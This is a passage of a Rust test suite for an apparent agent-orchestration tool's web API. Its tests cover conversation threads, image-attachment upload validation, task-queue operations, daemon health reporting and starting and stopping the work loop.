5674 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
5677
5678 #[tokio::test]
5679 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
5680 let tmp = TempDir::new().expect("tempdir");
5681 let repo = tmp.path().join("repo");
5682 std::fs::create_dir_all(&repo).expect("repo dir");
5683 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5684 let f = Fixture::with_repo(repo).await;
5685 let id_a = f.post("/api/talks", None).await.json()["id"]
5686 .as_str()
5687 .unwrap()
5688 .to_owned();
5689 let id_b = f.post("/api/talks", None).await.json()["id"]
5690 .as_str()
5691 .unwrap()
5692 .to_owned();
5693
5694 let a = f
5695 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
5696 .await;
5697 assert_eq!(a.status, 202, "{}", a.body);
5698 assert_eq!(a.json()["thinking"], true);
5699 let b = f
5700 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
5701 .await;
5702 assert_eq!(b.status, 202, "{}", b.body);
5703 assert_eq!(b.json()["thinking"], true);
5704
5705 let listed = f.get("/api/talks").await.json();
5706 for id in [&id_a, &id_b] {
5707 let view = listed
5708 .as_array()
5709 .unwrap()
5710 .iter()
5711 .find(|talk| talk["id"] == *id)
5712 .unwrap();
5713 assert_eq!(view["thinking"], true, "{listed}");
5714 }
5715 let repeated = f
5716 .post(
5717 &format!("/api/talks/{id_a}/say"),
5718 Some(r#"{"text":"again"}"#),
5719 )
5720 .await;
5721 assert_eq!(repeated.status, 202, "{}", repeated.body);
5722 assert_eq!(repeated.json()["pending"], "again");
5723 }
5724
5725 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
5728
5729 #[tokio::test]
5730 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
5731 let f = Fixture::start().await;
5732 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
5733
5734 let res = f
5735 .post_bytes(
5736 &format!("/api/talks/{id}/attachments"),
5737 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
5738 PNG_BYTES,
5739 )
5740 .await;
5741 assert_eq!(res.status, 201, "{}", res.body);
5742 let body = res.json();
5743 assert_eq!(body["name"], "shot.png");
5744 assert_eq!(body["mime"], "image/png");
5745 assert_eq!(body["bytes"], PNG_BYTES.len());
5746 let att_id = body["id"].as_str().expect("id").to_owned();
5747 assert_eq!(
5748 att_id.len(),
5749 32,
5750 "the id must never be a client-suppliable path: {att_id}"
5751 );
5752
5753 let got = f
5754 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
5755 .await;
5756 assert_eq!(got.status, 200, "{}", got.body);
5757 assert_eq!(got.header("content-type"), Some("image/png"));
5758 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
5759 assert_eq!(got.bytes, PNG_BYTES);
5760 }
5761
5762 #[tokio::test]
5763 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
5764 let f = Fixture::start().await;
5765 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
5766
5767 let svg = f
5770 .post_bytes(
5771 &format!("/api/talks/{id}/attachments"),
5772 &[("Content-Type", "image/svg+xml")],
5773 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
5774 )
5775 .await;
5776 assert!(
5777 (400..500).contains(&svg.status),
5778 "svg must be refused: {} {}",
5779 svg.status,
5780 svg.body
5781 );
5782 assert!(svg.body.contains("SVG"), "{}", svg.body);
5783
5784 let text = f
5785 .post_bytes(
5786 &format!("/api/talks/{id}/attachments"),
5787 &[("Content-Type", "text/plain")],
5788 b"just some text",
5789 )
5790 .await;
5791 assert!(
5792 (400..500).contains(&text.status),
5793 "an unlisted type must be refused: {} {}",
5794 text.status,
5795 text.body
5796 );
5797
5798 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
5801 let big = f
5802 .post_bytes(
5803 &format!("/api/talks/{id}/attachments"),
5804 &[("Content-Type", "image/png")],
5805 &oversized,
5806 )
5807 .await;
5808 assert_eq!(
5809 big.status,
5810 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
5811 "{}",
5812 big.body
5813 );
5814 }
5815
5816 #[tokio::test]
5817 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
5818 let f = Fixture::start().await;
5819 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
5820
5821 let res = f
5824 .post_bytes(
5825 &format!("/api/talks/{id}/attachments"),
5826 &[("Content-Type", "image/png")],
5827 b"<html>not a picture</html>",
5828 )
5829 .await;
5830 assert!((400..500).contains(&res.status), "{}", res.body);
5831 }
5832
5833 #[tokio::test]
5834 async fn an_unknown_attachment_id_is_a_404() {
5835 let f = Fixture::start().await;
5836 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
5837
5838 let res = f
5839 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
5840 .await;
5841 assert_eq!(res.status, 404, "{}", res.body);
5842 }
5843
5844 #[tokio::test]
5845 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
5846 let f = Fixture::start().await;
5847 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
5848
5849 let uploaded = f
5850 .post_bytes(
5851 &format!("/api/talks/{id}/attachments"),
5852 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
5853 PNG_BYTES,
5854 )
5855 .await;
5856 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
5857 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
5858
5859 let res = f
5860 .post(
5861 &format!("/api/talks/{id}/say"),
5862 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
5863 )
5864 .await;
5865 assert_eq!(res.status, 202, "{}", res.body);
5866 let queued = res.json();
5867 let turns = queued["turns"].as_array().expect("turns array");
5868 assert_eq!(
5869 turns.len(),
5870 1,
5871 "an empty body with an attachment is still a turn: {queued}"
5872 );
5873 assert_eq!(turns[0]["who"], "operator");
5874 assert_eq!(turns[0]["body"], "");
5875 let atts = turns[0]["attachments"]
5876 .as_array()
5877 .expect("attachments array");
5878 assert_eq!(atts.len(), 1);
5879 assert_eq!(atts[0]["id"], att_id);
5880 assert_eq!(atts[0]["mime"], "image/png");
5881
5882 let on_disk = f.talks().get(&id).expect("get");
5885 assert_eq!(on_disk.turns[0].attachments.len(), 1);
5886 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
5887 }
5888
5889 #[tokio::test]
5890 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
5891 let f = Fixture::start().await;
5892 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
5893
5894 let res = f
5895 .post(
5896 &format!("/api/talks/{id}/say"),
5897 Some(&format!(
5898 r#"{{"text":"hi","attachments":["{}"]}}"#,
5899 "a".repeat(32)
5900 )),
5901 )
5902 .await;
5903 assert!((400..500).contains(&res.status), "{}", res.body);
5904 assert!(res.body.contains("unknown attachment"), "{}", res.body);
5905
5906 let on_disk = f.talks().get(&id).expect("get");
5907 assert!(
5908 on_disk.turns.is_empty(),
5909 "a rejected attachment id must not partially record the turn: {:?}",
5910 on_disk.turns
5911 );
5912 }
5913
5914 #[tokio::test]
5915 async fn talk_close_makes_the_talk_refuse_further_turns() {
5916 let f = Fixture::start().await;
5917 let id = seed_talk(&f, "20260904-014455-cd34", "open");
5918
5919 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5920 assert_eq!(closed.status, 200, "{}", closed.body);
5921 assert_eq!(closed.json()["status"], "closed");
5922
5923 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
5925 assert_eq!(closed_again.status, 200);
5926 assert_eq!(closed_again.json()["status"], "closed");
5927
5928 let said = f
5929 .post(
5930 &format!("/api/talks/{id}/say"),
5931 Some(r#"{"text":"too late"}"#),
5932 )
5933 .await;
5934 assert_eq!(said.status, 409, "{}", said.body);
5935 }
5936
5937 #[tokio::test]
5938 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
5939 let (_tmp, _repo, f) = talk_fixture().await;
5940 let id = f.post("/api/talks", None).await.json()["id"]
5941 .as_str()
5942 .expect("id")
5943 .to_owned();
5944 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5945 assert_eq!(closed.status, 200, "{}", closed.body);
5946
5947 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
5948 assert_eq!(reopened.status, 200, "{}", reopened.body);
5949 assert_eq!(reopened.json()["status"], "open");
5950
5951 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
5953 assert_eq!(reopened_again.status, 200);
5954 assert_eq!(reopened_again.json()["status"], "open");
5955
5956 let said = f
5957 .post(
5958 &format!("/api/talks/{id}/say"),
5959 Some(r#"{"text":"still there?"}"#),
5960 )
5961 .await;
5962 assert_eq!(
5963 said.status, 202,
5964 "a reopened talk accepts turns again: {}",
5965 said.body
5966 );
5967 }
5968
5969 #[tokio::test]
5970 async fn talk_reopen_on_an_unknown_id_is_404() {
5971 let f = Fixture::start().await;
5972 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
5973 assert_eq!(res.status, 404, "{}", res.body);
5974 }
5975
5976 #[tokio::test]
5977 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
5978 let f = Fixture::start().await;
5979 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
5980
5981 let deleted = f.delete(&format!("/api/talks/{id}")).await;
5982 assert_eq!(deleted.status, 204, "{}", deleted.body);
5983
5984 let after = f.get(&format!("/api/talks/{id}")).await;
5985 assert_eq!(after.status, 404, "{}", after.body);
5986
5987 let listed = f.get("/api/talks").await.json();
5988 assert!(
5989 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
5990 "a deleted talk must not linger in the list: {listed}"
5991 );
5992 }
5993
5994 #[tokio::test]
5995 async fn talk_delete_on_an_unknown_id_is_404() {
5996 let f = Fixture::start().await;
5997 let res = f.delete("/api/talks/nonexistent-id").await;
5998 assert_eq!(res.status, 404, "{}", res.body);
5999 }
6000
6001 #[tokio::test]
6002 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
6003 let f = Fixture::start().await;
6004 let queue = f.queue();
6005 let mut task = Task::new(
6006 "spent".to_owned(),
6007 "Try again".to_owned(),
6008 PathBuf::from("/repo/magi"),
6009 Source::Human,
6010 );
6011 task.start("20260902-140502-bbbb".to_owned());
6012 task.fail("agent gave up", 9);
6013 queue.put(&mut task).expect("file the task");
6014
6015 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6016 assert_eq!(held.status, 200);
6017 assert_eq!(held.json()["status_str"], "held");
6018
6019 let released = f
6020 .post(&format!("/api/queue/{}/release", task.id), None)
6021 .await;
6022 assert_eq!(released.status, 200);
6023 assert_eq!(released.json()["status_str"], "queued");
6024 assert_eq!(
6025 released.json()["attempts"],
6026 0,
6027 "release is a real second chance, not an instant re-hold"
6028 );
6029 assert_eq!(
6030 queue.get(&task.id).expect("reload").status,
6031 TaskStatus::Queued,
6032 "the change is on disk, not only in the reply"
6033 );
6034 assert!(
6035 !f.home
6036 .path()
6037 .join("queue")
6038 .join(format!("{}.lock", task.id))
6039 .exists(),
6040 "the claim the mutation took is released again"
6041 );
6042 }
6043
6044 #[tokio::test]
6045 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
6046 let f = Fixture::start().await;
6047 let queue = f.queue();
6048 let mut task = Task::new(
6049 "busy".to_owned(),
6050 "Running right now".to_owned(),
6051 PathBuf::from("/repo/magi"),
6052 Source::Human,
6053 );
6054 queue.put(&mut task).expect("file the task");
6055 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6056
6057 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6058
6059 assert_eq!(res.status, 409);
6060 assert_eq!(
6061 queue.get(&task.id).expect("reload").status,
6062 TaskStatus::Queued,
6063 "the refused hold changed nothing"
6064 );
6065 }
6066
6067 #[tokio::test]
6068 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
6069 let f = Fixture::start().await;
6070 let queue = f.queue();
6071 let mut task = Task::new(
6072 "waiting on the migration".to_owned(),
6073 "Do the thing".to_owned(),
6074 PathBuf::from("/repo/magi"),
6075 Source::Human,
6076 );
6077 queue.put(&mut task).expect("file the task");
6078
6079 let held = f
6080 .post(
6081 &format!("/api/queue/{}/hold", task.id),
6082 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
6083 )
6084 .await;
6085 assert_eq!(held.status, 200, "{}", held.body);
6086 assert_eq!(held.json()["status_str"], "held");
6087 assert_eq!(
6088 held.json()["hold_reason"],
6089 "waiting for 20260101-000000-aaaa to land"
6090 );
6091
6092 let listed = f.get("/api/queue").await.json();
6093 assert_eq!(
6094 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
6095 "the card reads the reason off the same list route"
6096 );
6097
6098 let mut plain = Task::new(
6101 "no reason given".to_owned(),
6102 "Do another thing".to_owned(),
6103 PathBuf::from("/repo/magi"),
6104 Source::Human,
6105 );
6106 queue.put(&mut plain).expect("file the task");
6107 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
6108 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
6109 assert!(held_plain.json()["hold_reason"].is_null());
6110
6111 let released = f
6112 .post(&format!("/api/queue/{}/release", task.id), None)
6113 .await;
6114 assert_eq!(released.status, 200);
6115 assert!(
6116 released.json()["hold_reason"].is_null(),
6117 "a release must clear the reason so the next hold does not inherit it"
6118 );
6119 }
6120
6121 #[tokio::test]
6122 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
6123 let f = Fixture::start().await;
6124 let queue = f.queue();
6125 let mut older = Task::new(
6126 "filed first".to_owned(),
6127 "x".to_owned(),
6128 PathBuf::from("/repo/magi"),
6129 Source::Human,
6130 );
6131 older.id = "20260101-000001-aaaa".to_owned();
6132 let mut newer = Task::new(
6133 "filed second".to_owned(),
6134 "x".to_owned(),
6135 PathBuf::from("/repo/magi"),
6136 Source::Human,
6137 );
6138 newer.id = "20260101-000002-bbbb".to_owned();
6139 queue.put(&mut older).expect("file older");
6140 queue.put(&mut newer).expect("file newer");
6141
6142 let before = f.get("/api/queue").await.json();
6145 assert_eq!(before[0]["id"], newer.id);
6146 assert_eq!(before[1]["id"], older.id);
6147
6148 let raised = f
6152 .post(
6153 &format!("/api/queue/{}/priority", older.id),
6154 Some(r#"{"priority":10}"#),
6155 )
6156 .await;
6157 assert_eq!(raised.status, 200, "{}", raised.body);
6158 assert_eq!(raised.json()["priority"], 10);
6159
6160 let after = f.get("/api/queue").await.json();
6161 let names: Vec<&str> = after
6162 .as_array()
6163 .unwrap()
6164 .iter()
6165 .map(|t| t["id"].as_str().unwrap())
6166 .collect();
6167 assert_eq!(names[0], older.id, "the raised task now sorts first");
6171 }
6172
6173 #[tokio::test]
6174 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
6175 let f = Fixture::start().await;
6176 let queue = f.queue();
6177 let mut task = Task::new(
6178 "in flight".to_owned(),
6179 "x".to_owned(),
6180 PathBuf::from("/repo/magi"),
6181 Source::Human,
6182 );
6183 task.start("20260902-140502-bbbb".to_owned());
6184 queue.put(&mut task).expect("file the task");
6185
6186 let res = f
6187 .post(
6188 &format!("/api/queue/{}/priority", task.id),
6189 Some(r#"{"priority":9}"#),
6190 )
6191 .await;
6192 assert_eq!(res.status, 400, "{}", res.body);
6193 assert!(
6194 res.json()["error"]
6195 .as_str()
6196 .is_some_and(|e| e.contains("running")),
6197 "{}",
6198 res.body
6199 );
6200 assert_eq!(
6201 queue.get(&task.id).expect("reload").priority,
6202 0,
6203 "the refused write must not partially apply"
6204 );
6205 }
6206
6207 #[tokio::test]
6208 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
6209 let f = Fixture::start().await;
6210 let queue = f.queue();
6211 let mut task = Task::new(
6212 "old title".to_owned(),
6213 "old instruction".to_owned(),
6214 PathBuf::from("/repo/magi"),
6215 Source::Agent {
6216 run: "20260101-000000-beef".to_owned(),
6217 node: "implement".to_owned(),
6218 },
6219 );
6220 task.runs.push("20260101-000000-beef".to_owned());
6221 queue.put(&mut task).expect("file the task");
6222 let created_at = task.created_at;
6223
6224 let edited = f
6225 .post(
6226 &format!("/api/queue/{}/edit", task.id),
6227 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
6228 )
6229 .await;
6230 assert_eq!(edited.status, 200, "{}", edited.body);
6231 let body = edited.json();
6232 assert_eq!(body["title"], "new title");
6233 assert_eq!(body["instruction"], "new instruction");
6234 assert_eq!(body["id"], task.id, "editing must not mint a new id");
6235 assert_eq!(body["created_at"], created_at.to_string());
6236 assert_eq!(
6237 body["source"]["kind"], "agent",
6238 "editing a task an agent filed must not turn it human: {body}"
6239 );
6240 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
6241
6242 let reloaded = queue.get(&task.id).expect("reload");
6243 assert_eq!(reloaded.title, "new title");
6244 assert_eq!(reloaded.instruction, "new instruction");
6245 }
6246
6247 #[tokio::test]
6248 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
6249 let f = Fixture::start().await;
6250 let queue = f.queue();
6251 let mut task = Task::new(
6252 "in flight".to_owned(),
6253 "do not touch".to_owned(),
6254 PathBuf::from("/repo/magi"),
6255 Source::Human,
6256 );
6257 task.start("20260902-140502-bbbb".to_owned());
6258 queue.put(&mut task).expect("file the task");
6259
6260 let res = f
6261 .post(
6262 &format!("/api/queue/{}/edit", task.id),
6263 Some(r#"{"title":"x","instruction":"y"}"#),
6264 )
6265 .await;
6266 assert_eq!(res.status, 400, "{}", res.body);
6267 assert!(
6268 res.json()["error"]
6269 .as_str()
6270 .is_some_and(|e| e.contains("running")),
6271 "{}",
6272 res.body
6273 );
6274 assert_eq!(
6275 queue.get(&task.id).expect("reload").instruction,
6276 "do not touch",
6277 "the refused edit must not change the file"
6278 );
6279 }
6280
6281 #[tokio::test]
6282 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
6283 let f = Fixture::start().await;
6284 let queue = f.queue();
6285 let mut task = Task::new(
6286 "busy".to_owned(),
6287 "Running right now".to_owned(),
6288 PathBuf::from("/repo/magi"),
6289 Source::Human,
6290 );
6291 queue.put(&mut task).expect("file the task");
6292 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6293
6294 let priority = f
6295 .post(
6296 &format!("/api/queue/{}/priority", task.id),
6297 Some(r#"{"priority":9}"#),
6298 )
6299 .await;
6300 assert_eq!(priority.status, 409, "{}", priority.body);
6301
6302 let edit = f
6303 .post(
6304 &format!("/api/queue/{}/edit", task.id),
6305 Some(r#"{"title":"x","instruction":"y"}"#),
6306 )
6307 .await;
6308 assert_eq!(edit.status, 409, "{}", edit.body);
6309 }
6310
6311 #[tokio::test]
6312 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
6313 let f = Fixture::start().await;
6314 let queue = f.queue();
6315 let mut task = Task::new(
6316 "shipped by hand".to_owned(),
6317 "merged outside the loop".to_owned(),
6318 PathBuf::from("/repo/magi"),
6319 Source::Agent {
6320 run: "20260101-000000-b455".to_owned(),
6321 node: "implement".to_owned(),
6322 },
6323 );
6324 task.runs.push("20260101-000000-b455".to_owned());
6325 task.runs.push("20260101-000000-9af4".to_owned());
6326 queue.put(&mut task).expect("file the task");
6327 let created_at = task.created_at;
6328
6329 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6330 assert_eq!(done.status, 200, "{}", done.body);
6331 assert_eq!(done.json()["status_str"], "done");
6332
6333 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
6334 assert_eq!(
6335 reloaded.runs,
6336 ["20260101-000000-b455", "20260101-000000-9af4"]
6337 );
6338 assert_eq!(
6339 reloaded.source,
6340 Source::Agent {
6341 run: "20260101-000000-b455".to_owned(),
6342 node: "implement".to_owned(),
6343 }
6344 );
6345 assert_eq!(reloaded.created_at, created_at);
6346 }
6347
6348 #[tokio::test]
6349 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
6350 let f = Fixture::start().await;
6355 let queue = f.queue();
6356 let mut task = Task::new(
6357 "landed while held".to_owned(),
6358 "x".to_owned(),
6359 PathBuf::from("/repo/magi"),
6360 Source::Human,
6361 );
6362 task.hold_manual(Some("waiting on 3ed9".to_owned()));
6363 queue.put(&mut task).expect("file the held task");
6364
6365 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6366 assert_eq!(done.status, 200, "{}", done.body);
6367 assert_eq!(done.json()["status_str"], "done");
6368 assert!(
6369 done.json()["hold_reason"].is_null(),
6370 "a done task cannot still be waiting on something: {}",
6371 done.body
6372 );
6373 }
6374
6375 #[tokio::test]
6376 async fn unknown_ids_are_json_not_found_on_both_stores() {
6377 let f = Fixture::start().await;
6378
6379 let run = f.get("/api/runs/nosuchrun").await;
6380 let task = f.post("/api/queue/nosuchtask/hold", None).await;
6381
6382 assert_eq!(run.status, 404);
6383 assert_eq!(task.status, 404);
6384 assert!(
6385 run.json()["error"]
6386 .as_str()
6387 .is_some_and(|e| e.contains("run")),
6388 "the error names what was not found: {}",
6389 run.body
6390 );
6391 assert!(
6392 task.json()["error"]
6393 .as_str()
6394 .is_some_and(|e| e.contains("task")),
6395 "the error names what was not found: {}",
6396 task.body
6397 );
6398 }
6399
6400 #[tokio::test]
6401 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
6402 let f = Fixture::start().await;
6403
6404 let missing = f.get("/api/health").await.json();
6405 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
6406
6407 write_daemon(
6408 f.home.path(),
6409 Timestamp::now() - jiff::SignedDuration::from_secs(60),
6410 );
6411 let stale = f.get("/api/health").await.json();
6412 assert_eq!(
6413 stale["daemon"]["running"], false,
6414 "a minute without a heartbeat is a dead daemon, not a busy one"
6415 );
6416 assert!(
6417 stale["daemon"]["stale_for_secs"]
6418 .as_i64()
6419 .is_some_and(|s| s >= 55),
6420 "staleness is reported so the UI can say how long: {stale}"
6421 );
6422
6423 write_daemon(f.home.path(), Timestamp::now());
6424 let fresh = f.get("/api/health").await.json();
6425 assert_eq!(fresh["daemon"]["running"], true);
6426 assert_eq!(fresh["daemon"]["idle"], false);
6427 assert_eq!(fresh["daemon"]["pid"], 4242);
6428 assert_eq!(fresh["daemon"]["completed"], 7);
6429 assert_eq!(
6430 fresh["daemon"]["current"][0]["task"],
6431 "20260902-140501-aaaa"
6432 );
6433 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
6434 }
6435
6436 #[tokio::test]
6437 async fn the_loop_is_not_running_until_something_starts_it() {
6438 let f = Fixture::start().await;
6439
6440 let view = f.get("/api/loop").await.json();
6441 assert_eq!(view["running"], false);
6442 assert_eq!(
6443 view["owned"], false,
6444 "nobody owns a loop that does not exist: {view}"
6445 );
6446 assert_eq!(view["stopping"], false);
6447 assert_eq!(view["last_error"], Value::Null);
6448 assert_eq!(view["daemon"]["running"], false);
6449 assert_eq!(
6450 view["repo"], "/repo/magi",
6451 "the repository a start would use, named before it is started"
6452 );
6453 }
6454
6455 #[tokio::test]
6456 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
6457 let f = Fixture::start().await;
6458
6459 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6460 assert_eq!(res.status, 200, "{}", res.body);
6461 let view = res.json();
6462 assert_eq!(view["running"], true);
6463 assert_eq!(
6464 view["owned"], true,
6465 "the loop the UI started is the UI's own to stop: {view}"
6466 );
6467 assert_eq!(
6468 view["merge"],
6469 Value::Null,
6470 "no override was given, so each repository's own config decides"
6471 );
6472
6473 let health = f.get("/api/health").await.json();
6477 assert_eq!(health["loop"]["running"], true, "{health}");
6478 assert_eq!(health["loop"]["owned"], true, "{health}");
6479
6480 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6481 }
6482
6483 #[tokio::test]
6484 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
6485 let f = Fixture::start().await;
6486 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6487 assert_eq!(first.status, 200, "{}", first.body);
6488
6489 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6490 assert_eq!(
6491 again.status, 409,
6492 "two loops on one queue race for the same claims: {}",
6493 again.body
6494 );
6495 assert!(
6496 again.json()["error"]
6497 .as_str()
6498 .is_some_and(|e| e.contains("already running the loop")),
6499 "the refusal has to say why: {}",
6500 again.body
6501 );
6502 assert_eq!(
6503 f.get("/api/loop").await.json()["running"],
6504 true,
6505 "and the loop that was already running is untouched by it"
6506 );
6507
6508 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6509 }
6510
6511 #[tokio::test]
6512 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
6513 let f = Fixture::start().await;
6514 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6515
6516 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6517 assert_eq!(
6518 res.status, 200,
6519 "the answer must not wait for the loop: a run in flight is tens of \
6520 minutes and the operator is holding a phone: {}",
6521 res.body
6522 );
6523
6524 let view = settled(&f, |v| v["running"] == false).await;
6525 assert_eq!(view["owned"], false);
6526 assert_eq!(
6527 view["stopping"], false,
6528 "a loop that has stopped is not still stopping: {view}"
6529 );
6530 assert_eq!(
6531 view["last_error"],
6532 Value::Null,
6533 "a loop that was asked to stop did not fail: {view}"
6534 );
6535
6536 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6539 assert_eq!(twice.status, 200, "{}", twice.body);
6540 }
6541
6542 #[tokio::test]
6543 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
6544 let f = Fixture::start().await;
6545 write_daemon(f.home.path(), Timestamp::now());
6548
6549 let view = f.get("/api/loop").await.json();
6550 assert_eq!(view["running"], false, "not in this process: {view}");
6551 assert_eq!(view["owned"], false, "and not this process's to control");
6552 assert_eq!(
6553 view["daemon"]["running"], true,
6554 "but a loop is alive somewhere, which is what the UI must say"
6555 );
6556 assert_eq!(view["daemon"]["pid"], 4242);
6557
6558 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
6559 let res = f.post("/api/loop", Some(body)).await;
6560 assert_eq!(
6561 res.status, 409,
6562 "neither button may pretend to work on someone else's loop: {}",
6563 res.body
6564 );
6565 assert!(
6566 res.json()["error"]
6567 .as_str()
6568 .is_some_and(|e| e.contains("4242")),
6569 "the refusal has to name the process the operator must go to: {}",
6570 res.body
6571 );
6572 }
6573 assert_eq!(
6574 f.get("/api/loop").await.json()["running"],
6575 false,
6576 "and the refusal started nothing"
6577 );
6578 }
6579
6580 #[tokio::test]
6581 async fn a_stale_status_file_is_not_a_foreign_owner() {
6582 let f = Fixture::start().await;
6583 write_daemon(
6584 f.home.path(),
6585 Timestamp::now() - jiff::SignedDuration::from_secs(60),
6586 );
6587
6588 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6589 assert_eq!(
6590 res.status, 200,
6591 "a daemon killed a minute ago must not lock the loop out of its \
6592 own home for good: {}",
6593 res.body
6594 );
6595 assert_eq!(res.json()["running"], true);
6596
6597 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6598 }
6599
6600 #[tokio::test]
6601 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
6602 let f = Fixture::start().await;
6603 let before = f.get("/api/health").await.json()["loop_rev"]
6604 .as_u64()
6605 .expect("a loop revision");
6606
6607 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6608
6609 let after = f.get("/api/health").await.json()["loop_rev"]
6610 .as_u64()
6611 .expect("a loop revision");
6612 assert!(
6613 after > before,
6614 "the loop is in-process state, so this counter is the only thing \
6615 that tells a second device the first one started it: {before} -> \
6616 {after}"
6617 );
6618
6619 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6620 }
6621
6622 #[tokio::test]
6623 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
6624 let f = Fixture::with_loop(launch_broken).await;
6625
6626 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6627 assert_eq!(
6628 res.status, 200,
6629 "starting it is not the failure: {}",
6630 res.body
6631 );
6632
6633 let view = settled(&f, |v| v["last_error"].is_string()).await;
6634 assert_eq!(
6635 view["running"], false,
6636 "a loop that died must not read as running, or the operator has \
6637 nothing to press: {view}"
6638 );
6639 assert_eq!(view["owned"], false);
6640 assert!(
6641 view["last_error"]
6642 .as_str()
6643 .is_some_and(|e| e.contains("read-only file system")),
6644 "the phone is where a loop that died at 3am is visible: {view}"
6645 );
6646
6647 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6650 assert_eq!(again.status, 200, "{}", again.body);
6651 assert_eq!(
6652 again.json()["last_error"],
6653 Value::Null,
6654 "a fresh start does not keep showing why the last one died"
6655 );
6656 }
6657
6658 #[tokio::test]
6670 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
6671 let home = TempDir::new().expect("temp home");
6672 let runs = home.path().join("runs");
6673 std::fs::create_dir_all(&runs).expect("runs dir");
6674 let ui = Ui::new(
6675 Queue::at(home.path().join("queue")),
6676 Questions::at(home.path().join("questions")),
6677 Talks::at(home.path().join("talks")),
6678 runs,
6679 home.path().to_path_buf(),
6680 PathBuf::from("/repo/magi"),
6681 )
6682 .with_worktrees_root(home.path().join("wt"))
